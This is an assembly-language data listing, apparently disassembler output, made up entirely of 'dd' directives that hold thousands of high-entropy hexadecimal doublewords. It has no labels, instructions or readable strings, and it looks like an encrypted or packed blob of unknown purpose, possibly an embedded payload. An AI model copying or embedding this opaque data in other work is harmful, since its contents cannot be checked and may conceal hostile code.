		dd 0D3353FE1h, 864AD0A2h, 0ADBEC7F8h, 0CFD240Fh, 0F141D04Dh
		dd 0B8AC2E49h, 0FAD437A3h, 0A55DA173h, 95041811h, 0D8EFCA1h
		dd 250C033h, 0F5E89ADh,	401502D8h, 148120B6h, 6EAC67B7h
		dd 3357E569h, 0C623D569h, 0B5ACCE65h, 35F48AA6h, 85F08A80h
		dd 0BC40D340h, 289B34D9h, 4197ECA1h, 6604FFA8h,	1825A2E1h
		dd 61AC451h, 8BB01D02h,	0EC5768C8h, 1BC124F8h, 0BDA5FC66h
		dd 0B9707349h, 0D108A9F8h, 84691134h, 0AB34790Ch, 0D8F227AFh
		dd 5E2C7D72h, 1844AED4h, 0C6441F3h, 101C08E4h, 89AF45E8h
		dd 0FDF06552h, 0B8F21A92h, 9F2D2897h, 895F3099h, 6D9426B9h
		dd 0D8A29EF8h, 44B6700Eh, 8601CC24h, 0B34A75C9h, 0D4418F70h
		dd 21A750E5h, 70F58455h, 0EA19F7D5h, 0EC7BCC94h, 161789ABh
		dd 0D857A1BCh, 9EB1B0Bh, 0CD8AF45Ch, 8F7ECC2Dh,	8D60AD52h
		dd 0E0839151h, 27F0EC3Bh, 0E9024B0Fh, 0EA150124h, 0A4D494Dh
		dd 54EC23A0h, 86100614h, 17D500ACh, 0EC23E603h,	0B7247078h
		dd 0C6ADDD76h, 0ACC226C8h, 611C6733h, 0D9FF206Bh, 5E9FA518h
		dd 2629E90Bh, 0BABCA75Ah, 4477B3BEh, 0C69A125Fh, 120FA89h
		dd 6683397Ch, 0A70578FEh, 521E27h, 48D4ED3h, 4C3912B6h
		dd 5E1A8683h, 483B0507h, 1F5A7E08h, 89F60C14h, 41A4934Dh
		dd 0CACD486Bh, 6C524A0h, 8946144Dh, 72A00C31h, 470E3B01h
		dd 0A504770Ch, 482676F0h, 85F0DA89h, 0F248565Ch, 0C6E4D3CEh
		dd 70D5E268h, 44949941h, 2542C95Dh, 0B0247B3Fh,	0A5069582h
		dd 0DEB2B8FFh, 0E2B0F2Dh, 72823662h, 9E5AB802h,	277FC36Dh
		dd 196A50FCh, 837068FEh, 0B1FA6164h, 25890E2Dh,	835A809h
		dd 1960586Ah, 7427A922h, 8F6DC32Eh, 348D2860h, 0C8B0D76h
		dd 3B489B3h, 303D48E2h,	2404247Ch, 1681207h, 6F3E2E1Ah
		dd 26C641FDh, 128254FFh, 8F64C3EBh, 0DD4913FEh,	1754669Ah
		dd 0D42C628h, 479810Ah,	50722A69h, 0E652FA51h, 0A16AED39h
		dd 79C0D3Eh, 2CBBB28Bh,	0AEB76E8h, 0EF9109A6h, 0CB064B1Bh
		dd 0C6BB004h, 0C25B3459h, 0B8F016D0h, 9D5049E4h, 0C579BEAh
		dd 6C6676A6h, 5A098D16h, 0AA069C50h, 503D9141h,	0D7B810FBh
		dd 0D643D0F8h, 28D7467Bh, 0E066084Ch, 7D130C29h, 5F50B430h
		dd 5DD7B808h, 0D4D7B808h, 0AF664086h, 44099C0Fh, 84898C94h
		dd 74247C12h, 95A76C48h, 0D7B8D850h, 64F18484h,	48DC09D0h
		dd 50B5A7F0h, 85D95058h, 628D7BB8h, 5018D858h, 996889D9h
		dd 0B0098819h, 0A150F614h, 0A10ED950h, 0A41AD950h, 32045C33h
		dd 14090C0Fh, 24481C24h, 34222C91h, 503C4745h, 8C20D5AEh
		dd 0C8680D60h, 8C917809h, 0A3502B4Fh, 0ECECE56Ah, 9C0CE0F4h
		dd 24DD321h, 158BA81Eh,	0B8590B85h, 0F144DFD5h,	34A8F22Bh
		dd 5E853B39h, 5F523A73h, 11C0971Fh, 1822E48h, 1B55E2ABh
		dd 91C3CA9Ch, 85DA2B2Fh, 500A319h, 8D02F9C1h, 8988290Ch
		dd 5A622D46h, 583E3C0h,	8ACD0CA3h, 0B3C912C1h, 0C159C8B4h
		dd 68C3480Ah, 0DDB33F80h, 98B5AE19h, 0EA3E5459h, 0A1823C3h
		dd 0A1C9D223h, 85D6B8Dh, 0A3940969h, 0A9C95A42h, 4F66C8D0h
		dd 1C13AC83h, 10734108h, 0F85E2539h, 0EF56D9E9h, 89F132B3h
		dd 42269C31h, 3C815F7Dh, 0D92B5EF1h, 4D932B50h,	0FD6FCA83h
		dd 0A9EB859h, 42012FFAh, 48017D96h, 9BEF245Dh, 2A3C8919h
		dd 3EDC56DCh, 0B260A31Fh, 0FF335914h, 0DF6DE695h, 80A8006Dh
		dd 0FC240774h, 14EB45C7h, 0FE106ABCh, 0F6E8FF08h, 0E0044FC4h
		dd 185A460Eh, 0FE9777E8h, 1076EE21h, 4A093D42h,	3C4EF50Ah
		dd 1385495Ch, 0B1E30DEBh, 859D1622h, 0B0F85F32h, 82444F0h
		dd 6C0B1088h, 9F80DC8h,	0F70ECFA4h, 0D10C2E1h, 0D8F10C53h
		dd 64E61E47h, 0A0352AEh, 0D31AE13Ch, 3C57375Bh,	7259BF5Ah
		dd 0BDEBCC20h, 7BDFA510h, 21CC1F5Ah, 0FC1D0771h, 81250C4Eh
		dd 89925EE1h, 585E2974h, 253B2263h, 5879FBBCh, 36F904A5h
		dd 0AE5A34AFh, 0DF2B5761h, 398455F6h, 0B0D7AE46h, 495A705Bh
		dd 0F4930E0Bh, 10B779B8h, 4A8B0D57h, 966F3C3h, 0F0FA2BFBh
		dd 4355EDACh, 0E4200433h, 219CA556h, 2B990066h,	0C7123BD8h
		dd 0A2BD3E72h, 561CE86Ch, 25BE0F38h, 0DD65E650h, 2E740E43h
		dd 45A5458Ah, 0B4A6594Bh, 29A8497Fh, 0DBA14A1Eh, 0DB2B50F9h
		dd 0A30C4B7Eh, 55C7CDFCh, 0DAFF752Bh, 69A27EE7h, 5FAD32DDh
		dd 1C9F64EEh, 1DA8A89Bh, 773A92F6h, 82164902h, 14B20D88h
		dd 13F12FE0h, 0FB0DBEBh, 0A701A7CCh, 1860DE8Ch,	74C60B4Ch
		dd 19C02CBDh, 0F1D7C910h, 870C8A19h, 41EBD311h,	0FEEDC8C5h
		dd 1452504Bh, 9DE9D11Ch, 80EA1DDBh, 75C90BD8h, 0F312F7F4h
		dd 0AE59F08Bh, 359FC874h, 3E68014h, 3B0E72D1h, 877751CBh
		dd 598C0764h, 4E012D76h, 5E480672h, 0D07091C4h,	456F432Bh
		dd 266F1551h, 0C2620CEDh, 0A450EB18h, 0C48106Fh, 0C8F20891h
		dd 29911423h, 916C100Bh, 0B28B780Ch, 26744276h,	6F241BBCh
		dd 40D11114h, 5EB0DABEh, 4EE18374h, 0F803697Dh,	8CE4904Dh
		dd 47D0A184h, 4CB3D649h, 6A78354h, 58E92989h, 1CAC1CE5h
		dd 1C881843h, 114F27A9h, 10641421h, 921ACA77h, 0D1456154h
		dd 4CD9C9EBh, 0F189DBB8h, 1C212723h, 14B21890h,	4F1C1039h
		dd 0B385CC98h, 0F624A42Ch, 0D884A1E2h, 0DBB18129h, 5DDE803Eh
		dd 215A75FCh, 38D0F840h, 5E7F7418h, 6144C18Ah, 7A0B9E7Ch
		dd 0E98405DEh, 0CDFC8820h, 0EA751A02h, 0C95567EBh, 2BA5368h
		dd 0F9BEFF93h, 0A6A9939Bh, 0D7225C7Ah, 0F000F82Dh, 3874FB3Bh
		dd 0D769575Ch, 0E69F37EEh, 574A5B2Ah, 2A13CDAEh, 8BF35FC5h
		dd 71D75A69h, 0DD0D1721h, 66E92B01h, 8A5EAD5Fh,	0CDBE8291h
		dd 47E6969Eh, 46A0E09h,	0ED224C4Ch, 0A59EB1B5h,	946F1251h
		dd 3708B228h, 9EC3088Bh, 0ACAEB520h, 34F8F5D3h,	0A2BFF2F3h
		dd 70D70B67h, 3274163Bh, 0F4E089A9h, 3A010E8Ah,	4652750Fh
		dd 0EB314847h, 178F16BEh, 45AFD138h, 0B7014E07h, 3B153C57h
		dd 7A7619Eh, 6B6FE867h,	7076ABE3h, 0E2E04ABFh, 0F32B0EE6h
		dd 87278BA7h, 5737FC09h, 0E8104D3Ch, 0DD4DB0F5h, 0EABDF92Eh
		dd 0D021D64h, 1BC0B3B8h, 0EB5F48C0h, 0FD6AFF36h, 168BC41Ch
		dd 0CA380F81h, 0C89DE775h, 0D9EEDD18h, 71110EE0h, 2A5D3B43h
		dd 3106E294h, 48CD6A3Bh, 155B993Ah, 0BC3813E0h,	1D75844Dh
		dd 412D88EFh, 0AA8C0F1Bh, 5A123C9Dh, 85A18F90h,	0A1D120C0h
		dd 127BB2D0h, 0C3F2AFE2h, 0DF3B017Ch, 39257D5Eh, 2E182235h
		dd 5317617Eh, 0A2186A7h, 58120FA8h, 55C5C623h, 0EBC31E03h
		dd 8C15A265h, 5FC11413h, 0C84DC2F8h, 14AD9C0h, 43C1805Fh
		dd 8A8D0A65h, 0CCD88802h, 5839095Dh, 0DC1EEEEBh, 18821434h
		dd 0B1F8D7C6h, 41D07095h, 0C2D22F03h, 65D14557h, 8183BAAEh
		dd 528E5906h, 0FD0D0D33h, 585A086Bh, 910B7414h,	47A9ADCFh
		dd 418D4C48h, 0A792D90h, 407110FCh, 0BF006AFDh,	0D1C12BF6h
		dd 0E84852F8h, 3745AB5Ah, 3FC0F633h, 2457D63Bh,	4B30840Fh
		dd 0BB10DD04h, 25DA1DD2h, 756B4639h, 86222129h,	280195CAh
		dd 9D66C803h, 890631C2h
		dd 0C8A88032h, 408EB54Ah, 14823242h, 0D10C48E4h, 2766BECEh
		dd 52C4A256h, 0AE827EC4h, 94AC8409h, 0E9D6935Eh, 0B38822E9h
		dd 514328D8h, 0C766EE7Ah, 49982A25h, 8D2C6FEBh,	0C26BD4Fh
		dd 88AC031h, 1CBA096Eh,	0D27B2033h, 0B7391B93h,	0E24BF540h
		dd 23CF46Ah, 0C32B57DEh, 9050BF69h, 75E001BCh, 0AF57EB2Fh
		dd 0F10B27ADh, 1AEB4120h, 4C4C656h, 29884BFFh, 2E289B15h
		dd 48837412h, 406700A7h, 28770668h, 3C6BC0EAh, 0B69F6C0Ah
		dd 0C45DCB9Bh, 6265F8CDh, 71B06CE8h, 8AC98309h,	0F4A5EFD4h
		dd 7C12B352h, 43FF330Dh, 0CFF00DF8h, 883C11Dh, 1621CA03h
		dd 10E807ECh, 44113DA3h, 0D65DA44Eh, 6859722Fh,	0C71C6A6Dh
		dd 0C5EED219h, 2688889h, 159E2B50h, 0A39DAC62h,	8F98798Ch
		dd 3449D929h, 8C27CD30h, 0D3260BC6h, 81B1505Bh,	0EAD04875h
		dd 5650A419h, 170B14A8h, 9CD5037Bh, 1D098F6h, 7AE79074h
		dd 0E0D44BB7h, 58620A60h, 899C753Ch, 0F433F7DFh, 33164858h
		dd 0CDA04821h, 0CB543F13h, 243748D6h, 98064D09h, 2C7D5150h
		dd 4897F724h, 98758FC8h, 0BFDED9C4h, 923CAA48h,	13DCA201h
		dd 0B7CD982Dh, 68D1128Fh, 40A03252h, 61D0BEF8h,	0A659EC25h
		dd 0ED6C6926h, 3B504474h, 0D140303Dh, 86830F58h, 0C78B37C7h
		dd 0D5C3F724h, 1FE6E005h, 851C098Dh, 152FD040h,	298B0347h
		dd 430C602h, 5769BD83h,	0AA4E8979h, 793C2A22h, 0C41644AFh
		dd 0A11752F3h, 5F1086DFh, 32FC5015h, 1C40C53Bh,	0AAE42C93h
		dd 4A5189A3h, 8BBCA23Eh, 55B9F0E8h, 0DC71EEDh, 648059B2h
		dd 0ED3C82B4h, 71550974h, 15EB8B2Ch, 14136BF0h,	19972583h
		dd 963B109h, 5DC5AC3Dh,	4F3AA35Bh, 781D3932h, 0FF1913F7h
		dd 0C7D1B876h, 0C218166h, 76A8FBF7h, 320672A7h,	4060846h
		dd 842765D3h, 2AF20970h, 2459901Ah, 0DE493371h,	0F6204CC2h
		dd 400D4613h, 258CC813h, 0F7E71A30h, 6AC246D8h,	50CDC47Fh
		dd 0F40C3C53h, 0ACA3B4DBh, 3E182AAh, 0E880F980h, 8A96637h
		dd 0A031F3A1h, 3E278026h, 937582Bh, 5057267Eh, 432661E7h
		dd 990E750Ah, 0E5ED0E49h, 9BA4FD24h, 0BA279E07h, 63FFCB1Bh
		dd 0E48866D2h, 44F52599h, 3327A2D2h, 57CB2C8Fh,	13DB9DB7h
		dd 20F804FFh, 627E0ED0h, 68C01CA1h, 0BAB0049Dh,	4A387712h
		dd 399A148h, 0A19C30E4h, 0FC54265h, 0D3241864h,	1D6279F0h
		dd 917C243h, 13298616h,	0DA026844h, 0F975511Bh,	3B46D80Bh
		dd 0B37C4DA8h, 0E22D39ABh, 4ACEF474h, 8703EB38h, 0D9842683h
		dd 38304072h, 2DB45A4Dh, 403C480Bh, 3C030D4Ch, 1A8E8AC1h
		dd 40A70E88h, 146521Bh,	0B8053E51h, 99AB122Ch, 0D8E37A57h
		dd 6BA9E84Ah, 0F9EBD410h, 2A78021Ah, 1211191Bh,	7205116Ch
		dd 18AAA66Fh, 0D46C6FD6h, 906880EDh, 501DE6B4h,	0A1582496h
		dd 8471B46Ah, 0D04573B0h, 8D8DF703h, 9D382105h,	0F4B00617h
		dd 613C0B01h, 57087Ch, 202C04DDh, 0A41F888h, 0ED751938h
		dd 166A4342h, 940C7E22h, 325EBDEDh, 1A9008D5h, 10CB49EBh
		dd 8BCEDF64h, 721B5F97h, 0B413A041h, 563F0CB8h,	0A4501B40h
		dd 93DCBD43h, 52F7ECBh,	62C6A3Eh, 1B90B90Eh, 7030F9E7h
		dd 0CD9CC8AFh, 39800E07h, 880475E0h, 3CEB5419h,	50B5B0F2h
		dd 5BB52453h, 0C4F2586h, 30A1D7Bh, 18118EAh, 0E78D4A7h
		dd 0FDD41B80h, 937D803Ch, 460E5906h, 7D034983h,	72A2707Ah
		dd 559AAB75h, 0C25F0292h, 0BC0C68D9h, 0A34E8471h, 0B67431E4h
		dd 2AD58DE0h, 7C88FD8Bh, 14688D5Bh, 4BD6744Ch, 0C37319CFh
		dd 156B7D75h, 27F316E2h, 9163730Fh, 31BA5BB8h, 0D7406881h
		dd 7DB65C4Eh, 117CB3D9h, 352C0175h, 74440F93h, 780E64B1h
		dd 0A3356626h, 0E9831170h, 580D4C80h, 5C0D6834h, 0A1903295h
		dd 0C8D1F81h, 507CE180h, 0C13B8808h, 5343735Bh,	0E1502B04h
		dd 26C3FA81h, 3C9724Bh,	0E8EB14C0h, 99F9EE5Bh, 7E1BF192h
		dd 41D77127h, 0FE2000BBh, 3EFCC683h, 0C10F792Bh, 0CFE20FEFh
		dd 0C877C969h, 2A8C8D1Bh, 0B09A4401h, 8BF009BDh, 3E5E490Eh
		dd 0DFF1235h, 0FC33E6D9h, 53B83114h, 40D7FEE7h,	0CFFC5643h
		dd 12F8F80Ch, 3CC0C2F6h, 7E750C5Dh, 4FA0EC1h, 3F81834Ah
		dd 0D06A0376h, 4B7C8B5Ah, 8183B73h, 20204C75h, 0BB1E2A73h
		dd 8B8000A2h, 8DEBD3CAh, 43B024Ch, 5C2180F7h, 9FE44B8h
		dd 82285575h, 0F09543EEh, 0AAE04A8Dh, 9C1F3821h, 21C46CB8h
		dd 32840645h, 0FC0C0459h, 38C255Fh, 353080Bh, 0D7045BB6h
		dd 5A89F491h, 0C552E8Ah, 13E5BF95h, 312AC652h, 0C980D156h
		dd 2268DC5Dh, 0B5F45197h, 2B1FEC22h, 0C125F075h, 36CA04FBh
		dd 4B01F389h, 76DE3B5Eh, 66D35261h, 89D12C90h, 0D63B3980h
		dd 0D3B25DDh, 0CE6374DAh, 8E711442h, 400870BEh,	1C08FB83h
		dd 0D3CB60BEh, 0D615F7EEh, 2BA7421h, 7504034Ch,	319A9026h
		dd 8D1F0AEBh, 0A21FE04Bh, 0B8B4561Dh, 0C4BA4168h, 7975A71h
		dd 8992499Ah, 0CC0C934Eh, 24CAE01Fh, 5D44CF75h,	0F438ABF8h
		dd 0EAA5FD7Bh, 6CCAB0D4h, 4D15C84h, 940DBD84h, 52B6655Eh
		dd 0B3F9705Fh, 93B0C83h, 8A60751Eh, 8151202Ah, 0FE0F4D88h
		dd 1913D7C1h, 0A81E2573h, 450E82F2h, 9EDB160h, 8A6E2319h
		dd 0BB3FAE44h, 2529AA18h, 0E4671048h, 64562614h, 0EA33BA21h
		dd 0B99884D2h, 49971009h, 44C806DEh, 1289ED30h,	86DFFFF0h
		dd 4D2DF7F1h, 0F04C7EA1h, 8B86DCC8h, 0EC1D6C0Dh, 0A4685935h
		dd 0FE1C105h, 0A6DEC603h, 7E9D8070h, 515340C6h,	20A4D6FFh
		dd 5C18338Ah, 8555009h,	3B3A0D0Fh, 68A47DE0h, 0CC58DA88h
		dd 4829FE21h, 7B3C0B43h, 0D079803Dh, 830A09A8h,	12FE0460h
		dd 4078ADBCh, 0B2536935h, 55859F1Ch, 141359D6h,	169B6B10h
		dd 8BCFF648h, 4F43073h,	0E05FC180h, 2913AEF1h, 4CC0BC2Bh
		dd 0EA51EC11h, 0B1147448h, 0BAC612D1h, 50FF2BCCh, 513B300Dh
		dd 0E07A2305h, 82C6D13h, 9B692F14h, 89451453h, 0A89FA53Dh
		dd 4474B71Eh, 9864165Ah, 57CDCE31h, 0B8823C84h,	17BED823h
		dd 0F0E12C83h, 0F9C18323h, 41D74904h, 7A0E7D20h, 0B21DEE1h
		dd 8140D42Eh, 44EBF466h, 0ED9112ECh, 0D3F60DC8h, 0A6B1FE8h
		dd 8468A1FEh, 0C0DF3BD8h, 19730898h, 0EDF923B2h, 8758B923h
		dd 75CF0BFEh, 14C38331h, 8C68F12Bh, 11E77233h, 8B791F75h
		dd 27D8D4DAh, 5641523h,	34E6EB46h, 4BC559F2h, 84FA1173h
		dd 294096EFh, 0EDEB55C5h, 51263808h, 481C540Dh,	0E92EE30h
		dd 74DD0646h, 0DB8522F8h, 14BC14F0h, 5925DE86h,	0F1107FB8h
		dd 0A94143D5h, 602EFF38h, 896FDDE8h, 6EA61D53h,	0FA2E792Ah
		dd 0FC55C841h, 8C925CBEh, 77B42790h, 2844757Ch,	48FB3789h
		dd 24C87013h, 9FDE2055h, 481F37D1h, 31B0B53h, 0A917F318h
		dd 0AC2F8491h, 883B9A48h, 0FE1EC005h, 0D70B3901h, 48E3E974h
		dd 3317989Ah, 60617DFFh, 0B1C24C49h, 980D75CEh,	0C0206A67h
		dd 0C9855FCBh, 0D103057Ch, 0F7EB47E1h, 5443188Bh, 2B0A88F9h
		dd 0F1691FB2h, 0FEC6875Eh, 0A1834ED3h, 0E7657E3Fh, 98F7C830h
		dd 10D2299h, 73224A58h,	48836180h, 2B2C85FFh, 89CFC501h
		dd 220B3E0Fh, 0F453A838h, 5C23EC01h, 5DF4488h, 750FFE09h
		dd 0DE40AE38h, 0B21EC4Dh, 58CAB8EBh, 50E4154Fh,	9F48962Ch
		dd 19864DD6h, 996FA854h, 86A22D86h, 0D2D9B266h,	0F7EE7A06h
		dd 79893F68h, 1AEDB3EFh, 9D127308h, 0AAA1D7D9h,	28F17C0Bh
		dd 4637A6C0h, 51D9523Dh
		dd 0F30C2246h, 0B0649E5Ch, 0FE0640C0h, 587D0B88h, 974CC229h
		dd 65EFE177h, 30BFC625h, 0EFD3CEB1h, 0B3B092Bh,	7CFC90A2h
		dd 2FEBAFA0h, 0D8229A5h, 0ACE04E8Dh, 947B5521h,	0BC8D8A17h
		dd 622E6DAEh, 37098686h, 91F84E2Ch, 0CA0A8957h,	29FC01C1h
		dd 75E67F34h, 0D165F077h, 13040146h, 0A097FC32h, 33440E36h
		dd 3E20798Dh, 1D3B1AD8h, 373CED99h, 1ABB9912h, 530742A2h
		dd 89253070h, 422C8D08h, 0B0690904h, 8A680D03h,	177C447Fh
		dd 53075C1h, 9450895Dh,	22ADEC70h, 0E3575A7Ch, 14EFD63Fh
		dd 344A89E4h, 43C9A29Bh, 680B403Eh, 0E141C424h,	46C4B0B4h
		dd 34923127h, 0B0F45981h, 10468968h, 4300397h, 0E4208268h
		dd 0A976D851h, 70526415h, 750C131Ah, 0B35708E4h, 5F424BFAh
		dd 714E7D61h, 23C60722h, 5B2047Eh, 838463ACh, 72AF22D6h
		dd 0E159519Dh, 71D3571Fh, 2541C90Fh, 0C3C4DB33h, 43E05091h
		dd 3861C312h, 8264F669h, 26F95A5Ch, 236B8330h, 500840F7h
		dd 0ECC09C06h, 501F924Ah, 5CC186FBh, 792DDDE7h,	1014FE56h
		dd 10808E8Ch, 0D5CBBEA4h, 8D1BDF07h, 32700697h,	77FA3B0Fh
		dd 0F0474C3Ch, 0E8F3B048h, 0A5EC5E88h, 0FCBBFBBDh, 40C70F1Dh
		dd 4355F091h, 68DC1EADh, 448033Ch, 40E880C7h, 0A2051523h
		dd 0DC2D6357h, 0C7DC06EEh, 8490F88Bh, 0F8050C12h, 5F37B8B2h
		dd 6AD3A4Fh, 120C4A8Dh,	900304EDh, 3A449E64h, 0E4C8BC86h
		dd 43468A83h, 0C60C89Ah, 7BBAC084h, 14E883Eh, 78090375h
		dd 9A2DBA04h, 0D2F7EA80h, 66985021h, 0E2B5C35Ch, 52FDAC0Ch
		dd 0D41B9F10h, 708DD7E0h, 512B1713h, 0E683EA91h, 58EAAC70h
		dd 834C850Fh, 0FC164FACh, 5D543B49h, 395C162Ch,	0B57B56E2h
		dd 5F634A7Ah, 0AFC3F63Bh, 74F8593h, 3BD90313h, 458FA3F3h
		dd 661BCDF4h, 8E3F2CF1h, 6067689h, 2611594Fh, 39E45F8Bh
		dd 2CC248C0h, 0C51F7320h, 8DF88254h, 0F271014Ch, 2B889010h
		dd 18A124C4h, 9C13221Fh, 3BF59E90h, 89A7654Fh, 7F060919h
		dd 30606562h, 1CE2B10h,	0D1B5F8D7h, 84AA9C03h, 81148B0Dh
		dd 0FFC10C2Ah, 8A9B4F04h, 0E2C43031h, 7F5F20FBh, 0FB1C20F4h
		dd 565BCC81h, 0CDA1240h, 6F46E380h, 31310C18h, 5C751E3Bh
		dd 81078C60h, 721312FFh, 2102F94Ch, 0CFB2700Fh,	0AE6423Ah
		dd 0CFC166B9h, 215225EBh, 5B33E210h, 3684C548h,	4F962EBAh
		dd 554860E9h, 0B9DB10Ch, 43293244h, 89017485h, 0BC24BF87h
		dd 426CFE46h, 9AF82A22h, 0EE2253Fh, 0A1BF6E13h,	0F63A8D0Fh
		dd 0C5DC9A1h, 0A4B5A629h, 5C6E4B98h, 0FBA5B233h, 0E9585268h
		dd 0DE832399h, 0F65ED898h, 8BAB2B98h, 75F8238Dh, 4505A6D4h
		dd 3B225219h, 6B752E41h, 6CF212C4h, 7489CE88h, 5A7A1406h
		dd 4E6C2C0Eh, 3B061287h, 7AEE6A77h, 71087744h, 8279306Fh
		dd 0E6038F06h, 760CA1F3h, 40EE1CEBh, 76834B7Bh,	0F371927Bh
		dd 5C8BFB69h, 0AE9CEE96h, 6244184Dh, 0E358AEE3h, 394009F5h
		dd 0CE42621Ch, 0E62C0F21h, 7922045Ah, 4E21628Bh, 48F0F8EBh
		dd 18134C03h, 55D8BBFCh, 603D2583h, 2EFF31C1h, 0C3060B56h
		dd 0E1950BEh, 20681DEBh, 4E5B9F37h, 0F3F11EDh, 45730CA4h
		dd 63D1892Dh, 2A408A70h, 48FCD516h, 0CFFB848Eh,	0AC293455h
		dd 53630350h, 48344F57h, 0B894AF03h, 0F03B065Ch, 82E41E75h
		dd 5163580Ah, 1C9008A3h, 0D41CCF54h, 15EB0208h,	89A10689h
		dd 0F4C25009h, 8B09A135h, 878D3010h, 8EB168A3h,	3491B398h
		dd 47B8FD14h, 14EB4E2Ch, 0B87CCB7Eh, 0B9ED1BA1h, 0D2B82DF1h
		dd 0FFEFD83h, 4AC29D07h, 4533D123h, 48322E89h, 0FD814294h
		dd 7CB6C85Dh, 0BA534BE3h, 0EC59E8CBh, 0FEC30317h, 801BE103h
		dd 0B071AE8Fh, 81474876h, 4CC7071Dh, 811BF004h,	0EBB548F1h
		dd 5BCDC5Fh, 6DBE272Eh,	0F4FF0471h, 0FE5281B4h,	7B742FACh
		dd 8C09E95Ch, 31689559h, 336F886Bh, 0AA353943h,	0F7080BCEh
		dd 15A39AC1h, 0B9204331h, 910EB321h, 6342D89h, 21AAA6A8h
		dd 907CCB52h, 91350D12h, 0D4538BCCh, 57C506B6h,	0FFED0983h
		dd 7204B2FDh, 92BE7E31h, 0F068A07Dh, 0E9AEDC3Fh, 39750BBAh
		dd 4D44C58Bh, 4CDF0351h, 85AC507Ah, 96A2F4B5h, 0B182FE0Fh
		dd 9FE752BEh, 6404C029h, 1E87C5C7h, 658BE73Ch, 76275EDCh
		dd 30EB1457h, 0C2EF831Eh, 0B27DDB85h, 509023E4h, 41E76E4h
		dd 79D62C74h, 260E0BBAh, 410487F6h, 0E7F45A20h,	5242480Ch
		dd 0EF65FA88h, 57750822h, 0E382B8F6h, 983B595Ah, 0BD0A74A5h
		dd 8F2DA9E4h, 0DBB2DD50h, 0BA944B7Eh, 1C690F6h,	10413BCAh
		dd 0A890576h, 0D9D07214h, 3774F8F9h, 0A8EEEB02h, 6131750Fh
		dd 423FBA57h, 0FFE6817Ah, 3B09DF50h, 7A2072F2h,	0E893278h
		dd 4AF6100Dh, 0F0DAC027h, 1EC1692Bh, 263B5CDEh,	440ECEF8h
		dd 9EF23208h, 913E5741h, 60482B79h, 0C65F958h, 0FAADC82Eh
		dd 0B60F2878h, 8010198Bh, 22389821h, 40C70911h,	75179004h
		dd 5FF2917h, 206624FBh,	0C2204E06h, 0E32110CEh,	9D2F59B0h
		dd 0A646DA73h, 69F3577Dh, 89BF4AB4h, 87EF09Eh, 18256A98h
		dd 63A15420h, 0F6D6E883h, 0C5C61BDh, 4B3BC2D0h,	73F001F9h
		dd 3C0F8B3Ah, 0CB007CCEh, 5F391A7Ch, 5E157604h,	0E7272153h
		dd 9B372E16h, 7D09EB1Bh, 42C7532Eh, 45B1244Ah, 0A3C87238h
		dd 58462006h, 7E2FA84Eh, 31F80761h, 13427C85h, 0F0AA3373h
		dd 19507C56h, 5EB7144Dh, 0C64FC8ABh, 816A9926h,	0A66CA078h
		dd 0F87D0A3Bh, 4746D272h, 62B7CA36h, 0B501574h,	891CE515h
		dd 1F29120Dh, 2108D50Ch, 6A63E7E7h, 7F58C25Ah, 64486D5h
		dd 950C700Ch, 0DC3FAC86h, 11D7DE81h, 5FF1E8EBh,	0EE4464FEh
		dd 3D3398F3h, 0EE28F72Bh, 0E6FE40E0h, 2207781h,	11FEC93Bh
		dd 0D23C02AFh, 55EB520Bh, 7415F720h, 144BD3EFh,	574901D7h
		dd 27DCE896h, 555FB2F8h, 4C388FDEh, 34FBD2F3h, 0A15FC54Fh
		dd 0D2B908A7h, 7E58CBF0h, 61B84DB3h, 0F488801Eh, 50376563h
		dd 0BAA93F1Ah, 9C689912h, 4149C711h, 1A1E579Dh,	80D4C183h
		dd 89D67507h, 98C5A43Dh, 1437A4E9h, 0A373C83Bh,	5F83933h
		dd 0F2EB3B18h, 4CC01B1Ch, 47130623h, 0E8C1940Ch, 1C5F3BDCh
		dd 0BCB50329h, 89FE88C7h, 0D73E9286h, 0BD348284h, 49B1972Ah
		dd 63881520h, 19543259h, 0A2768DA5h, 2B2D76DAh,	0E5489D3h
		dd 5029C022h, 0A2818D18h, 0D5F45734h, 82F17272h, 95F458BBh
		dd 0A016709h, 72998D39h, 5E8D4819h, 217A812h, 8D215890h
		dd 88173904h, 7303A648h, 29110107h, 9EB8E07h, 585B6183h
		dd 0FF8A838Fh, 72884754h, 0F790A0E8h, 9D3E7080h, 8DC66B80h
		dd 3B001034h, 8A4373F3h, 2CDB8418h, 9C3C3075h, 805EC758h
		dd 4600F3Bh, 0F7EB4643h, 4E73A4C7h, 0EB0945C5h,	0F4226305h
		dd 39CCB7B1h, 27B59855h, 8F309982h, 550EBC3h, 354F3A0h
		dd 0E8CF7542h, 0BE710EBDh, 7E73F706h, 68166FF6h, 8A7605FEh
		dd 0AF0CBF06h, 0E65EA540h, 253E8458h, 1CF5C143h, 0B20258AFh
		dd 0AC862B09h, 9985AA19h, 2431C03Ch, 93C21088h,	0C22700EBh
		dd 45291373h, 347269A0h, 0EB30F090h, 3C0C4AEh, 0C8A7EEF0h
		dd 0C2C41670h, 0D0D1414Ah, 0B8901688h, 0C92F6BEEh, 984DD80Fh
		dd 2A24AF79h, 42FAB521h, 570A86C4h, 0D2D8A8BAh,	247404Bh
		dd 0FF0CF882h, 7C8DEA80h, 762718C7h, 31E5012h, 288C82Bh
		dd 47EA0F01h, 0EB0DE146h, 29657360h, 9A02D303h,	14544683h
		dd 0D15572C6h, 730E1131h
		dd 58D56F0Ah, 0F47B0DBEh, 8A42DC18h, 8B6A46D9h,	77D0D8FBh
		dd 6AC1972Bh, 0E82C4D27h, 0FECE1473h, 6386589h,	804066C0h
		dd 5F21ED3Ch, 0A4434730h, 0E66345ABh, 692B0303h, 5BD5D2ECh
		dd 1EF969D5h, 0C4ED0469h, 0BE40175Eh, 0DEE2A0C9h, 200C0B3Bh
		dd 0AEAE0FC2h, 0D5DB76Fh, 0A708A966h, 91BE41Dh,	59F73102h
		dd 99A07C09h, 76FF0689h, 1206186Fh, 89A138AAh, 4A964495h
		dd 673CA46Ch, 0F6FE23B8h, 7582C20Bh, 57C02134h,	229EF983h
		dd 0C1AE7A14h, 0E11E3D5Dh, 0BD3C0B1Fh, 8D77285Ah, 0BF8ECF67h
		dd 0F6DC99h, 5F044F8Ah,	8273E180h, 65CF967h, 0C4EECE86h
		dd 0AB7E8172h, 68FC9827h, 7069B74Eh, 0C50A9274h, 1088AEADh
		dd 480E8B06h, 4BC6B7D1h, 51BFDDB0h, 0E6BFAAA1h,	7EA1A209h
		dd 0AAEAA738h, 0FF1F3ADFh, 0FC6254EAh, 0C562AED4h, 0ACC62501h
		dd 0AF855AA9h, 985AA5A8h, 4558BAFh, 8A492007h, 0A9D74B0h
